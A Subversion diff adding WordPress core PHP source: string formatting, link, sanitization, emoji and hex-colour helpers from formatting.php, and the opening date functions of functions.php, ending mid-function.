+ * @return string Filtered text to run through KSES.
+ */
+function wp_pre_kses_block_attributes( $string, $allowed_html, $allowed_protocols ) {
+	/*
+	 * `filter_block_content` is expected to call `wp_kses`. Temporarily remove
+	 * the filter to avoid recursion.
+	 */
+	remove_filter( 'pre_kses', 'wp_pre_kses_block_attributes', 10 );
+	$string = filter_block_content( $string, $allowed_html, $allowed_protocols );
+	add_filter( 'pre_kses', 'wp_pre_kses_block_attributes', 10, 3 );
+
+	return $string;
+}
+
+/**
+ * WordPress implementation of PHP sprintf() with filters.
+ *
+ * @since 2.5.0
+ * @link https://secure.php.net/sprintf
+ *
+ * @param string $pattern   The string which formatted args are inserted.
+ * @param mixed  $args ,... Arguments to be formatted into the $pattern string.
+ * @return string The formatted string.
+ */
+function wp_sprintf( $pattern ) {
+	$args = func_get_args();
+	$len = strlen($pattern);
+	$start = 0;
+	$result = '';
+	$arg_index = 0;
+	while ( $len > $start ) {
+		// Last character: append and break
+		if ( strlen($pattern) - 1 == $start ) {
+			$result .= substr($pattern, -1);
+			break;
+		}
+
+		// Literal %: append and continue
+		if ( substr($pattern, $start, 2) == '%%' ) {
+			$start += 2;
+			$result .= '%';
+			continue;
+		}
+
+		// Get fragment before next %
+		$end = strpos($pattern, '%', $start + 1);
+		if ( false === $end )
+			$end = $len;
+		$fragment = substr($pattern, $start, $end - $start);
+
+		// Fragment has a specifier
+		if ( $pattern[$start] == '%' ) {
+			// Find numbered arguments or take the next one in order
+			if ( preg_match('/^%(\d+)\$/', $fragment, $matches) ) {
+				$arg = isset($args[$matches[1]]) ? $args[$matches[1]] : '';
+				$fragment = str_replace("%{$matches[1]}$", '%', $fragment);
+			} else {
+				++$arg_index;
+				$arg = isset($args[$arg_index]) ? $args[$arg_index] : '';
+			}
+
+			/**
+			 * Filters a fragment from the pattern passed to wp_sprintf().
+			 *
+			 * If the fragment is unchanged, then sprintf() will be run on the fragment.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $fragment A fragment from the pattern.
+			 * @param string $arg      The argument.
+			 */
+			$_fragment = apply_filters( 'wp_sprintf', $fragment, $arg );
+			if ( $_fragment != $fragment )
+				$fragment = $_fragment;
+			else
+				$fragment = sprintf($fragment, strval($arg) );
+		}
+
+		// Append to result and move to next fragment
+		$result .= $fragment;
+		$start = $end;
+	}
+	return $result;
+}
+
+/**
+ * Localize list items before the rest of the content.
+ *
+ * The '%l' must be at the first characters can then contain the rest of the
+ * content. The list items will have ', ', ', and', and ' and ' added depending
+ * on the amount of list items in the $args parameter.
+ *
+ * @since 2.5.0
+ *
+ * @param string $pattern Content containing '%l' at the beginning.
+ * @param array  $args    List items to prepend to the content and replace '%l'.
+ * @return string Localized list items and rest of the content.
+ */
+function wp_sprintf_l( $pattern, $args ) {
+	// Not a match
+	if ( substr($pattern, 0, 2) != '%l' )
+		return $pattern;
+
+	// Nothing to work with
+	if ( empty($args) )
+		return '';
+
+	/**
+	 * Filters the translated delimiters used by wp_sprintf_l().
+	 * Placeholders (%s) are included to assist translators and then
+	 * removed before the array of strings reaches the filter.
+	 *
+	 * Please note: Ampersands and entities should be avoided here.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $delimiters An array of translated delimiters.
+	 */
+	$l = apply_filters( 'wp_sprintf_l', array(
+		/* translators: used to join items in a list with more than 2 items */
+		'between'          => sprintf( __('%s, %s'), '', '' ),
+		/* translators: used to join last two items in a list with more than 2 times */
+		'between_last_two' => sprintf( __('%s, and %s'), '', '' ),
+		/* translators: used to join items in a list with only 2 items */
+		'between_only_two' => sprintf( __('%s and %s'), '', '' ),
+	) );
+
+	$args = (array) $args;
+	$result = array_shift($args);
+	if ( count($args) == 1 )
+		$result .= $l['between_only_two'] . array_shift($args);
+	// Loop when more than two args
+	$i = count($args);
+	while ( $i ) {
+		$arg = array_shift($args);
+		$i--;
+		if ( 0 == $i )
+			$result .= $l['between_last_two'] . $arg;
+		else
+			$result .= $l['between'] . $arg;
+	}
+	return $result . substr($pattern, 2);
+}
+
+/**
+ * Safely extracts not more than the first $count characters from html string.
+ *
+ * UTF-8, tags and entities safe prefix extraction. Entities inside will *NOT*
+ * be counted as one character. For example &amp; will be counted as 4, &lt; as
+ * 3, etc.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str   String to get the excerpt from.
+ * @param int    $count Maximum number of characters to take.
+ * @param string $more  Optional. What to append if $str needs to be trimmed. Defaults to empty string.
+ * @return string The excerpt.
+ */
+function wp_html_excerpt( $str, $count, $more = null ) {
+	if ( null === $more )
+		$more = '';
+	$str = wp_strip_all_tags( $str, true );
+	$excerpt = mb_substr( $str, 0, $count );
+	// remove part of an entity at the end
+	$excerpt = preg_replace( '/&[^;\s]{0,6}$/', '', $excerpt );
+	if ( $str != $excerpt )
+		$excerpt = trim( $excerpt ) . $more;
+	return $excerpt;
+}
+
+/**
+ * Add a Base url to relative links in passed content.
+ *
+ * By default it supports the 'src' and 'href' attributes. However this can be
+ * changed via the 3rd param.
+ *
+ * @since 2.7.0
+ *
+ * @global string $_links_add_base
+ *
+ * @param string $content String to search for links in.
+ * @param string $base    The base URL to prefix to links.
+ * @param array  $attrs   The attributes which should be processed.
+ * @return string The processed content.
+ */
+function links_add_base_url( $content, $base, $attrs = array('src', 'href') ) {
+	global $_links_add_base;
+	$_links_add_base = $base;
+	$attrs = implode('|', (array)$attrs);
+	return preg_replace_callback( "!($attrs)=(['\"])(.+?)\\2!i", '_links_add_base', $content );
+}
+
+/**
+ * Callback to add a base url to relative links in passed content.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @global string $_links_add_base
+ *
+ * @param string $m The matched link.
+ * @return string The processed link.
+ */
+function _links_add_base( $m ) {
+	global $_links_add_base;
+	//1 = attribute name  2 = quotation mark  3 = URL
+	return $m[1] . '=' . $m[2] .
+		( preg_match( '#^(\w{1,20}):#', $m[3], $protocol ) && in_array( $protocol[1], wp_allowed_protocols() ) ?
+			$m[3] :
+			WP_Http::make_absolute_url( $m[3], $_links_add_base )
+		)
+		. $m[2];
+}
+
+/**
+ * Adds a Target attribute to all links in passed content.
+ *
+ * This function by default only applies to `<a>` tags, however this can be
+ * modified by the 3rd param.
+ *
+ * *NOTE:* Any current target attributed will be stripped and replaced.
+ *
+ * @since 2.7.0
+ *
+ * @global string $_links_add_target
+ *
+ * @param string $content String to search for links in.
+ * @param string $target  The Target to add to the links.
+ * @param array  $tags    An array of tags to apply to.
+ * @return string The processed content.
+ */
+function links_add_target( $content, $target = '_blank', $tags = array('a') ) {
+	global $_links_add_target;
+	$_links_add_target = $target;
+	$tags = implode('|', (array)$tags);
+	return preg_replace_callback( "!<($tags)([^>]*)>!i", '_links_add_target', $content );
+}
+
+/**
+ * Callback to add a target attribute to all links in passed content.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @global string $_links_add_target
+ *
+ * @param string $m The matched link.
+ * @return string The processed link.
+ */
+function _links_add_target( $m ) {
+	global $_links_add_target;
+	$tag = $m[1];
+	$link = preg_replace('|( target=([\'"])(.*?)\2)|i', '', $m[2]);
+	return '<' . $tag . $link . ' target="' . esc_attr( $_links_add_target ) . '">';
+}
+
+/**
+ * Normalize EOL characters and strip duplicate whitespace.
+ *
+ * @since 2.7.0
+ *
+ * @param string $str The string to normalize.
+ * @return string The normalized string.
+ */
+function normalize_whitespace( $str ) {
+	$str  = trim( $str );
+	$str  = str_replace( "\r", "\n", $str );
+	$str  = preg_replace( array( '/\n+/', '/[ \t]+/' ), array( "\n", ' ' ), $str );
+	return $str;
+}
+
+/**
+ * Properly strip all HTML tags including script and style
+ *
+ * This differs from strip_tags() because it removes the contents of
+ * the `<script>` and `<style>` tags. E.g. `strip_tags( '<script>something</script>' )`
+ * will return 'something'. wp_strip_all_tags will return ''
+ *
+ * @since 2.9.0
+ *
+ * @param string $string        String containing HTML tags
+ * @param bool   $remove_breaks Optional. Whether to remove left over line breaks and white space chars
+ * @return string The processed string.
+ */
+function wp_strip_all_tags($string, $remove_breaks = false) {
+	$string = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $string );
+	$string = strip_tags($string);
+
+	if ( $remove_breaks )
+		$string = preg_replace('/[\r\n\t ]+/', ' ', $string);
+
+	return trim( $string );
+}
+
+/**
+ * Sanitizes a string from user input or from the database.
+ *
+ * - Checks for invalid UTF-8,
+ * - Converts single `<` characters to entities
+ * - Strips all tags
+ * - Removes line breaks, tabs, and extra whitespace
+ * - Strips octets
+ *
+ * @since 2.9.0
+ *
+ * @see sanitize_textarea_field()
+ * @see wp_check_invalid_utf8()
+ * @see wp_strip_all_tags()
+ *
+ * @param string $str String to sanitize.
+ * @return string Sanitized string.
+ */
+function sanitize_text_field( $str ) {
+	$filtered = _sanitize_text_fields( $str, false );
+
+	/**
+	 * Filters a sanitized text field string.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $filtered The sanitized string.
+	 * @param string $str      The string prior to being sanitized.
+	 */
+	return apply_filters( 'sanitize_text_field', $filtered, $str );
+}
+
+/**
+ * Sanitizes a multiline string from user input or from the database.
+ *
+ * The function is like sanitize_text_field(), but preserves
+ * new lines (\n) and other whitespace, which are legitimate
+ * input in textarea elements.
+ *
+ * @see sanitize_text_field()
+ *
+ * @since 4.7.0
+ *
+ * @param string $str String to sanitize.
+ * @return string Sanitized string.
+ */
+function sanitize_textarea_field( $str ) {
+	$filtered = _sanitize_text_fields( $str, true );
+
+	/**
+	 * Filters a sanitized textarea field string.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $filtered The sanitized string.
+	 * @param string $str      The string prior to being sanitized.
+	 */
+	return apply_filters( 'sanitize_textarea_field', $filtered, $str );
+}
+
+/**
+ * Internal helper function to sanitize a string from user input or from the db
+ *
+ * @since 4.7.0
+ * @access private
+ *
+ * @param string $str String to sanitize.
+ * @param bool $keep_newlines optional Whether to keep newlines. Default: false.
+ * @return string Sanitized string.
+ */
+function _sanitize_text_fields( $str, $keep_newlines = false ) {
+	$filtered = wp_check_invalid_utf8( $str );
+
+	if ( strpos($filtered, '<') !== false ) {
+		$filtered = wp_pre_kses_less_than( $filtered );
+		// This will strip extra whitespace for us.
+		$filtered = wp_strip_all_tags( $filtered, false );
+
+		// Use html entities in a special case to make sure no later
+		// newline stripping stage could lead to a functional tag
+		$filtered = str_replace("<\n", "&lt;\n", $filtered);
+	}
+
+	if ( ! $keep_newlines ) {
+		$filtered = preg_replace( '/[\r\n\t ]+/', ' ', $filtered );
+	}
+	$filtered = trim( $filtered );
+
+	$found = false;
+	while ( preg_match('/%[a-f0-9]{2}/i', $filtered, $match) ) {
+		$filtered = str_replace($match[0], '', $filtered);
+		$found = true;
+	}
+
+	if ( $found ) {
+		// Strip out the whitespace that may now exist after removing the octets.
+		$filtered = trim( preg_replace('/ +/', ' ', $filtered) );
+	}
+
+	return $filtered;
+}
+
+/**
+ * i18n friendly version of basename()
+ *
+ * @since 3.1.0
+ *
+ * @param string $path   A path.
+ * @param string $suffix If the filename ends in suffix this will also be cut off.
+ * @return string
+ */
+function wp_basename( $path, $suffix = '' ) {
+	return urldecode( basename( str_replace( array( '%2F', '%5C' ), '/', urlencode( $path ) ), $suffix ) );
+}
+
+/**
+ * Forever eliminate "Wordpress" from the planet (or at least the little bit we can influence).
+ *
+ * Violating our coding standards for a good function name.
+ *
+ * @since 3.0.0
+ *
+ * @staticvar string|false $dblq
+ *
+ * @param string $text The text to be modified.
+ * @return string The modified text.
+ */
+function capital_P_dangit( $text ) {
+	// Simple replacement for titles
+	$current_filter = current_filter();
+	if ( 'the_title' === $current_filter || 'wp_title' === $current_filter )
+		return str_replace( 'Wordpress', 'WordPress', $text );
+	// Still here? Use the more judicious replacement
+	static $dblq = false;
+	if ( false === $dblq ) {
+		$dblq = _x( '&#8220;', 'opening curly double quote' );
+	}
+	return str_replace(
+		array( ' Wordpress', '&#8216;Wordpress', $dblq . 'Wordpress', '>Wordpress', '(Wordpress' ),
+		array( ' WordPress', '&#8216;WordPress', $dblq . 'WordPress', '>WordPress', '(WordPress' ),
+	$text );
+}
+
+/**
+ * Sanitize a mime type
+ *
+ * @since 3.1.3
+ *
+ * @param string $mime_type Mime type
+ * @return string Sanitized mime type
+ */
+function sanitize_mime_type( $mime_type ) {
+	$sani_mime_type = preg_replace( '/[^-+*.a-zA-Z0-9\/]/', '', $mime_type );
+	/**
+	 * Filters a mime type following sanitization.
+	 *
+	 * @since 3.1.3
+	 *
+	 * @param string $sani_mime_type The sanitized mime type.
+	 * @param string $mime_type      The mime type prior to sanitization.
+	 */
+	return apply_filters( 'sanitize_mime_type', $sani_mime_type, $mime_type );
+}
+
+/**
+ * Sanitize space or carriage return separated URLs that are used to send trackbacks.
+ *
+ * @since 3.4.0
+ *
+ * @param string $to_ping Space or carriage return separated URLs
+ * @return string URLs starting with the http or https protocol, separated by a carriage return.
+ */
+function sanitize_trackback_urls( $to_ping ) {
+	$urls_to_ping = preg_split( '/[\r\n\t ]/', trim( $to_ping ), -1, PREG_SPLIT_NO_EMPTY );
+	foreach ( $urls_to_ping as $k => $url ) {
+		if ( !preg_match( '#^https?://.#i', $url ) )
+			unset( $urls_to_ping[$k] );
+	}
+	$urls_to_ping = array_map( 'esc_url_raw', $urls_to_ping );
+	$urls_to_ping = implode( "\n", $urls_to_ping );
+	/**
+	 * Filters a list of trackback URLs following sanitization.
+	 *
+	 * The string returned here consists of a space or carriage return-delimited list
+	 * of trackback URLs.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $urls_to_ping Sanitized space or carriage return separated URLs.
+	 * @param string $to_ping      Space or carriage return separated URLs before sanitization.
+	 */
+	return apply_filters( 'sanitize_trackback_urls', $urls_to_ping, $to_ping );
+}
+
+/**
+ * Add slashes to a string or array of strings.
+ *
+ * This should be used when preparing data for core API that expects slashed data.
+ * This should not be used to escape data going directly into an SQL query.
+ *
+ * @since 3.6.0
+ *
+ * @param string|array $value String or array of strings to slash.
+ * @return string|array Slashed $value
+ */
+function wp_slash( $value ) {
+	if ( is_array( $value ) ) {
+		foreach ( $value as $k => $v ) {
+			if ( is_array( $v ) ) {
+				$value[$k] = wp_slash( $v );
+			} else {
+				$value[$k] = addslashes( $v );
+			}
+		}
+	} else {
+		$value = addslashes( $value );
+	}
+
+	return $value;
+}
+
+/**
+ * Remove slashes from a string or array of strings.
+ *
+ * This should be used to remove slashes from data passed to core API that
+ * expects data to be unslashed.
+ *
+ * @since 3.6.0
+ *
+ * @param string|array $value String or array of strings to unslash.
+ * @return string|array Unslashed $value
+ */
+function wp_unslash( $value ) {
+	return stripslashes_deep( $value );
+}
+
+/**
+ * Extract and return the first URL from passed content.
+ *
+ * @since 3.6.0
+ *
+ * @param string $content A string which might contain a URL.
+ * @return string|false The found URL.
+ */
+function get_url_in_content( $content ) {
+	if ( empty( $content ) ) {
+		return false;
+	}
+
+	if ( preg_match( '/<a\s[^>]*?href=([\'"])(.+?)\1/is', $content, $matches ) ) {
+		return esc_url_raw( $matches[2] );
+	}
+
+	return false;
+}
+
+/**
+ * Returns the regexp for common whitespace characters.
+ *
+ * By default, spaces include new lines, tabs, nbsp entities, and the UTF-8 nbsp.
+ * This is designed to replace the PCRE \s sequence.  In ticket #22692, that
+ * sequence was found to be unreliable due to random inclusion of the A0 byte.
+ *
+ * @since 4.0.0
+ *
+ * @staticvar string $spaces
+ *
+ * @return string The spaces regexp.
+ */
+function wp_spaces_regexp() {
+	static $spaces = '';
+
+	if ( empty( $spaces ) ) {
+		/**
+		 * Filters the regexp for common whitespace characters.
+		 *
+		 * This string is substituted for the \s sequence as needed in regular
+		 * expressions. For websites not written in English, different characters
+		 * may represent whitespace. For websites not encoded in UTF-8, the 0xC2 0xA0
+		 * sequence may not be in use.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param string $spaces Regexp pattern for matching common whitespace characters.
+		 */
+		$spaces = apply_filters( 'wp_spaces_regexp', '[\r\n\t ]|\xC2\xA0|&nbsp;' );
+	}
+
+	return $spaces;
+}
+
+/**
+ * Print the important emoji-related styles.
+ *
+ * @since 4.2.0
+ *
+ * @staticvar bool $printed
+ */
+function print_emoji_styles() {
+	static $printed = false;
+
+	if ( $printed ) {
+		return;
+	}
+
+	$printed = true;
+?>
+<style type="text/css">
+img.wp-smiley,
+img.emoji {
+	display: inline !important;
+	border: none !important;
+	box-shadow: none !important;
+	height: 1em !important;
+	width: 1em !important;
+	margin: 0 .07em !important;
+	vertical-align: -0.1em !important;
+	background: none !important;
+	padding: 0 !important;
+}
+</style>
+<?php
+}
+
+/**
+ * Print the inline Emoji detection script if it is not already printed.
+ *
+ * @since 4.2.0
+ * @staticvar bool $printed
+ */
+function print_emoji_detection_script() {
+	static $printed = false;
+
+	if ( $printed ) {
+		return;
+	}
+
+	$printed = true;
+
+	_print_emoji_detection_script();
+}
+
+/**
+ * Prints inline Emoji dection script
+ *
+ * @ignore
+ * @since 4.6.0
+ * @access private
+ */
+function _print_emoji_detection_script() {
+	$settings = array(
+		/**
+		 * Filters the URL where emoji png images are hosted.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param string The emoji base URL for png images.
+		 */
+		'baseUrl' => apply_filters( 'emoji_url', 'https://s.w.org/images/core/emoji/11/72x72/' ),
+
+		/**
+		 * Filters the extension of the emoji png files.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param string The emoji extension for png files. Default .png.
+		 */
+		'ext' => apply_filters( 'emoji_ext', '.png' ),
+
+		/**
+		 * Filters the URL where emoji SVG images are hosted.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param string The emoji base URL for svg images.
+		 */
+		'svgUrl' => apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/11/svg/' ),
+
+		/**
+		 * Filters the extension of the emoji SVG files.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param string The emoji extension for svg files. Default .svg.
+		 */
+		'svgExt' => apply_filters( 'emoji_svg_ext', '.svg' ),
+	);
+
+	$version = 'ver=' . get_bloginfo( 'version' );
+
+	if ( SCRIPT_DEBUG ) {
+		$settings['source'] = array(
+			/** This filter is documented in wp-includes/class.wp-scripts.php */
+			'wpemoji' => apply_filters( 'script_loader_src', includes_url( "js/wp-emoji.js?$version" ), 'wpemoji' ),
+			/** This filter is documented in wp-includes/class.wp-scripts.php */
+			'twemoji' => apply_filters( 'script_loader_src', includes_url( "js/twemoji.js?$version" ), 'twemoji' ),
+		);
+
+		?>
+		<script type="text/javascript">
+			window._wpemojiSettings = <?php echo wp_json_encode( $settings ); ?>;
+			<?php readfile( ABSPATH . WPINC . "/js/wp-emoji-loader.js" ); ?>
+		</script>
+		<?php
+	} else {
+		$settings['source'] = array(
+			/** This filter is documented in wp-includes/class.wp-scripts.php */
+			'concatemoji' => apply_filters( 'script_loader_src', includes_url( "js/wp-emoji-release.min.js?$version" ), 'concatemoji' ),
+		);
+
+		/*
+		 * If you're looking at a src version of this file, you'll see an "include"
+		 * statement below. This is used by the `grunt build` process to directly
+		 * include a minified version of wp-emoji-loader.js, instead of using the
+		 * readfile() method from above.
+		 *
+		 * If you're looking at a build version of this file, you'll see a string of
+		 * minified JavaScript. If you need to debug it, please turn on SCRIPT_DEBUG
+		 * and edit wp-emoji-loader.js directly.
+		 */
+		?>
+		<script type="text/javascript">
+			window._wpemojiSettings = <?php echo wp_json_encode( $settings ); ?>;
+			include "js/wp-emoji-loader.min.js"
+		</script>
+		<?php
+	}
+}
+
+/**
+ * Convert emoji characters to their equivalent HTML entity.
+ *
+ * This allows us to store emoji in a DB using the utf8 character set.
+ *
+ * @since 4.2.0
+ *
+ * @param string $content The content to encode.
+ * @return string The encoded content.
+ */
+function wp_encode_emoji( $content ) {
+	$emoji = _wp_emoji_list( 'partials' );
+
+	foreach ( $emoji as $emojum ) {
+		if ( version_compare( phpversion(), '5.4', '<' ) ) {
+			$emoji_char = html_entity_decode( $emojum, ENT_COMPAT, 'UTF-8' );
+		} else {
+			$emoji_char = html_entity_decode( $emojum );
+		}
+		if ( false !== strpos( $content, $emoji_char ) ) {
+			$content = preg_replace( "/$emoji_char/", $emojum, $content );
+		}
+	}
+
+	return $content;
+}
+
+/**
+ * Convert emoji to a static img element.
+ *
+ * @since 4.2.0
+ *
+ * @param string $text The content to encode.
+ * @return string The encoded content.
+ */
+function wp_staticize_emoji( $text ) {
+	if ( false === strpos( $text, '&#x' ) ) {
+		if ( ( function_exists( 'mb_check_encoding' ) && mb_check_encoding( $text, 'ASCII' ) ) || ! preg_match( '/[^\x00-\x7F]/', $text ) ) {
+			// The text doesn't contain anything that might be emoji, so we can return early.
+			return $text;
+		} else {
+			$encoded_text = wp_encode_emoji( $text );
+			if ( $encoded_text === $text ) {
+				return $encoded_text;
+			}
+
+			$text = $encoded_text;
+		}
+	}
+
+	$emoji = _wp_emoji_list( 'entities' );
+
+	// Quickly narrow down the list of emoji that might be in the text and need replacing.
+	$possible_emoji = array();
+	foreach( $emoji as $emojum ) {
+		if ( false !== strpos( $text, $emojum ) ) {
+			if ( version_compare( phpversion(), '5.4', '<' ) ) {
+				$possible_emoji[ $emojum ] = html_entity_decode( $emojum, ENT_COMPAT, 'UTF-8' );
+			} else {
+				$possible_emoji[ $emojum ] = html_entity_decode( $emojum );
+			}
+		}
+	}
+
+	if ( ! $possible_emoji ) {
+		return $text;
+	}
+
+	/** This filter is documented in wp-includes/formatting.php */
+	$cdn_url = apply_filters( 'emoji_url', 'https://s.w.org/images/core/emoji/11/72x72/' );
+
+	/** This filter is documented in wp-includes/formatting.php */
+	$ext = apply_filters( 'emoji_ext', '.png' );
+
+	$output = '';
+	/*
+	 * HTML loop taken from smiley function, which was taken from texturize function.
+	 * It'll never be consolidated.
+	 *
+	 * First, capture the tags as well as in between.
+	 */
+	$textarr = preg_split( '/(<.*>)/U', $text, -1, PREG_SPLIT_DELIM_CAPTURE );
+	$stop = count( $textarr );
+
+	// Ignore processing of specific tags.
+	$tags_to_ignore = 'code|pre|style|script|textarea';
+	$ignore_block_element = '';
+
+	for ( $i = 0; $i < $stop; $i++ ) {
+		$content = $textarr[$i];
+
+		// If we're in an ignore block, wait until we find its closing tag.
+		if ( '' == $ignore_block_element && preg_match( '/^<(' . $tags_to_ignore . ')>/', $content, $matches ) )  {
+			$ignore_block_element = $matches[1];
+		}
+
+		// If it's not a tag and not in ignore block.
+		if ( '' ==  $ignore_block_element && strlen( $content ) > 0 && '<' != $content[0] && false !== strpos( $content, '&#x' ) ) {
+			foreach ( $possible_emoji as $emojum => $emoji_char ) {
+				if ( false === strpos( $content, $emojum ) ) {
+					continue;
+				}
+
+				$file = str_replace( ';&#x', '-', $emojum );
+				$file = str_replace( array( '&#x', ';'), '', $file );
+
+				$entity = sprintf( '<img src="%s" alt="%s" class="wp-smiley" style="height: 1em; max-height: 1em;" />', $cdn_url . $file . $ext, $emoji_char );
+
+				$content = str_replace( $emojum, $entity, $content );
+			}
+		}
+
+		// Did we exit ignore block.
+		if ( '' != $ignore_block_element && '</' . $ignore_block_element . '>' == $content )  {
+			$ignore_block_element = '';
+		}
+
+		$output .= $content;
+	}
+
+	// Finally, remove any stray U+FE0F characters
+	$output = str_replace( '&#xfe0f;', '', $output );
+
+	return $output;
+}
+
+/**
+ * Convert emoji in emails into static images.
+ *
+ * @since 4.2.0
+ *
+ * @param array $mail The email data array.
+ * @return array The email data array, with emoji in the message staticized.
+ */
+function wp_staticize_emoji_for_email( $mail ) {
+	if ( ! isset( $mail['message'] ) ) {
+		return $mail;
+	}
+
+	/*
+	 * We can only transform the emoji into images if it's a text/html email.
+	 * To do that, here's a cut down version of the same process that happens
+	 * in wp_mail() - get the Content-Type from the headers, if there is one,
+	 * then pass it through the wp_mail_content_type filter, in case a plugin
+	 * is handling changing the Content-Type.
+	 */
+	$headers = array();
+	if ( isset( $mail['headers'] ) ) {
+		if ( is_array( $mail['headers'] ) ) {
+			$headers = $mail['headers'];
+		} else {
+			$headers = explode( "\n", str_replace( "\r\n", "\n", $mail['headers'] ) );
+		}
+	}
+
+	foreach ( $headers as $header ) {
+		if ( strpos($header, ':') === false ) {
+			continue;
+		}
+
+		// Explode them out.
+		list( $name, $content ) = explode( ':', trim( $header ), 2 );
+
+		// Cleanup crew.
+		$name    = trim( $name    );
+		$content = trim( $content );
+
+		if ( 'content-type' === strtolower( $name ) ) {
+			if ( strpos( $content, ';' ) !== false ) {
+				list( $type, $charset ) = explode( ';', $content );
+				$content_type = trim( $type );
+			} else {
+				$content_type = trim( $content );
+			}
+			break;
+		}
+	}
+
+	// Set Content-Type if we don't have a content-type from the input headers.
+	if ( ! isset( $content_type ) ) {
+		$content_type = 'text/plain';
+	}
+
+	/** This filter is documented in wp-includes/pluggable.php */
+	$content_type = apply_filters( 'wp_mail_content_type', $content_type );
+
+	if ( 'text/html' === $content_type ) {
+		$mail['message'] = wp_staticize_emoji( $mail['message'] );
+	}
+
+	return $mail;
+}
+
+/**
+ * Returns a arrays of emoji data.
+ *
+ * These arrays automatically built from the regex in twemoji.js - if they need to be updated,
+ * you should update the regex there, then run the `grunt precommit:emoji` job.
+ *
+ * @since 4.9.0
+ * @access private
+ *
+ * @param string $type Optional. Which array type to return. Accepts 'partials' or 'entities', default 'entities'.
+ * @return array An array to match all emoji that WordPress recognises.
+ */
+function _wp_emoji_list( $type = 'entities' ) {
+	// Do not remove the START/END comments - they're used to find where to insert the arrays.
+
+	// START: emoji arrays
+	$entities = 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+	// END: emoji arrays
+
+	if ( 'entities' === $type ) {
+		return $entities;
+	}
+
+	return $partials;
+}
+
+/**
+ * Shorten a URL, to be used as link text.
+ *
+ * @since 1.2.0
+ * @since 4.4.0 Moved to wp-includes/formatting.php from wp-admin/includes/misc.php and added $length param.
+ *
+ * @param string $url    URL to shorten.
+ * @param int    $length Optional. Maximum length of the shortened URL. Default 35 characters.
+ * @return string Shortened URL.
+ */
+function url_shorten( $url, $length = 35 ) {
+	$stripped = str_replace( array( 'https://', 'http://', 'www.' ), '', $url );
+	$short_url = untrailingslashit( $stripped );
+
+	if ( strlen( $short_url ) > $length ) {
+		$short_url = substr( $short_url, 0, $length - 3 ) . '&hellip;';
+	}
+	return $short_url;
+}
+
+/**
+ * Sanitizes a hex color.
+ *
+ * Returns either '', a 3 or 6 digit hex color (with #), or nothing.
+ * For sanitizing values without a #, see sanitize_hex_color_no_hash().
+ *
+ * @since 3.4.0
+ *
+ * @param string $color
+ * @return string|void
+ */
+function sanitize_hex_color( $color ) {
+	if ( '' === $color ) {
+		return '';
+	}
+
+	// 3 or 6 hex digits, or the empty string.
+	if ( preg_match('|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
+		return $color;
+	}
+}
+
+/**
+ * Sanitizes a hex color without a hash. Use sanitize_hex_color() when possible.
+ *
+ * Saving hex colors without a hash puts the burden of adding the hash on the
+ * UI, which makes it difficult to use or upgrade to other color types such as
+ * rgba, hsl, rgb, and html color names.
+ *
+ * Returns either '', a 3 or 6 digit hex color (without a #), or null.
+ *
+ * @since 3.4.0
+ *
+ * @param string $color
+ * @return string|null
+ */
+function sanitize_hex_color_no_hash( $color ) {
+	$color = ltrim( $color, '#' );
+
+	if ( '' === $color ) {
+		return '';
+	}
+
+	return sanitize_hex_color( '#' . $color ) ? $color : null;
+}
+
+/**
+ * Ensures that any hex color is properly hashed.
+ * Otherwise, returns value untouched.
+ *
+ * This method should only be necessary if using sanitize_hex_color_no_hash().
+ *
+ * @since 3.4.0
+ *
+ * @param string $color
+ * @return string
+ */
+function maybe_hash_hex_color( $color ) {
+	if ( $unhashed = sanitize_hex_color_no_hash( $color ) ) {
+		return '#' . $unhashed;
+	}
+
+	return $color;
+}
Index: /tags/5.0.20/src/wp-includes/functions.php
===================================================================
--- /tags/5.0.20/src/wp-includes/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/functions.php	(revision 56912)
@@ -0,0 +1,6175 @@
+<?php
+/**
+ * Main WordPress API
+ *
+ * @package WordPress
+ */
+
+require( ABSPATH . WPINC . '/option.php' );
+
+/**
+ * Convert given date string into a different format.
+ *
+ * $format should be either a PHP date format string, e.g. 'U' for a Unix
+ * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
+ *
+ * If $translate is true then the given date and format string will
+ * be passed to date_i18n() for translation.
+ *
+ * @since 0.71
+ *
+ * @param string $format    Format of the date to return.
+ * @param string $date      Date string to convert.
+ * @param bool   $translate Whether the return date should be translated. Default true.
+ * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
+ */
+function mysql2date( $format, $date, $translate = true ) {
+	if ( empty( $date ) )
+		return false;
+
+	if ( 'G' == $format )
+		return strtotime( $date . ' +0000' );
+
+	$i = strtotime( $date );
+
+	if ( 'U' == $format )
+		return $i;
+
+	if ( $translate )
+		return date_i18n( $format, $i );
+	else
+		return date( $format, $i );
+}
+
+/**
+ * Retrieve the current time based on specified type.
+ *
+ * The 'mysql' type will return the time in the format for MySQL DATETIME field.
+ * The 'timestamp' type will return the current timestamp.
+ * Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
+ *
+ * If $gmt is set to either '1' or 'true', then both types will use GMT time.
+ * if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
+ *
+ * @since 1.0.0
+ *
+ * @param string   $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date
+ *                       format string (e.g. 'Y-m-d').
+ * @param int|bool $gmt  Optional. Whether to use GMT timezone. Default false.
+ * @return int|string Integer if $type is 'timestamp', string otherwise.
+ */
+function current_time( $type, $gmt = 0 ) {
+	switch ( $type ) {
+		case 'mysql':
